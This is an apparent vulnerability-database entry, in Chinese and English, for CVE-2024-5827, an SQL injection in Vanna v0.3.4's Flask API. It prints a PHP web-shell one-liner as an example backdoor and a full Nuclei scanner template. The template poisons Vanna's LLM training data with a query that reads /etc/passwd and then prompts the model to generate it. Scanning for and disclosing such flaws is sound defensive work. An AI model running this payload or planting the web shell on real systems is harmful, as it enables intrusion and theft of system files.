CVE-2024-5827: Vanna - SQL injection

日期: 2025-08-01 | 影响软件: Vanna | POC: 已公开

漏洞描述

Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `<?php system($_GET[0]); ?>`. This can lead to command execution or the creation of backdoors.

PoC代码[已公开]

id: CVE-2024-5827

info:
  name: Vanna - SQL injection
  author: olfloralo,nukunga,harksu,nechyo,gy741
  severity: critical
  description: |
    Vanna v0.3.4 is vulnerable to SQL injection in its DuckDB integration exposed to its Flask Web APIs. Attackers can inject malicious SQL training data and generate corresponding queries to write arbitrary files on the victim's file system, such as backdoor.php with contents `<?php system($_GET[0]); ?>`. This can lead to command execution or the creation of backdoors.
  reference:
    - https://huntr.com/bounties/a3f913d6-c717-4528-b974-26d8d9e839ca
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5827
    - https://huntr.com/bounties/e4e64a51-618b-41d0-8f56-1d2146d8825e
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5827
    cwe-id: CWE-434
    epss-score: 0.34903
    epss-percentile: 0.96906
  metadata:
    verified: true
    max-request: 2
    fofa-query: body='vanna.ai'
  tags: cve,cve2024,vanna,sqli,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/v0/train HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sql":"SELECT pg_read_file('/etc/passwd', 0, 1000);"}

    matchers:
      - type: word
        words:
          - 'id":'
        internal: true

  - raw:
      - |
        GET /api/v0/generate_sql?question=What%20is%20the%20content%20of%20the%20first%201000%20characters%20of%20the%20%2Fetc%2Fpasswd%20file? HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - 'application/json'
# digest: 4a0a00473045022100f197695cf070b3d6d351a6b118e5f0e4dd638e6a6b35e66af2fe33bb79b6071302201a4f3682f04094448dfe4850a8a7fd8b0bd74910776babb18ddbb618c543098a:922c64590222798bb761d5b6d8e72950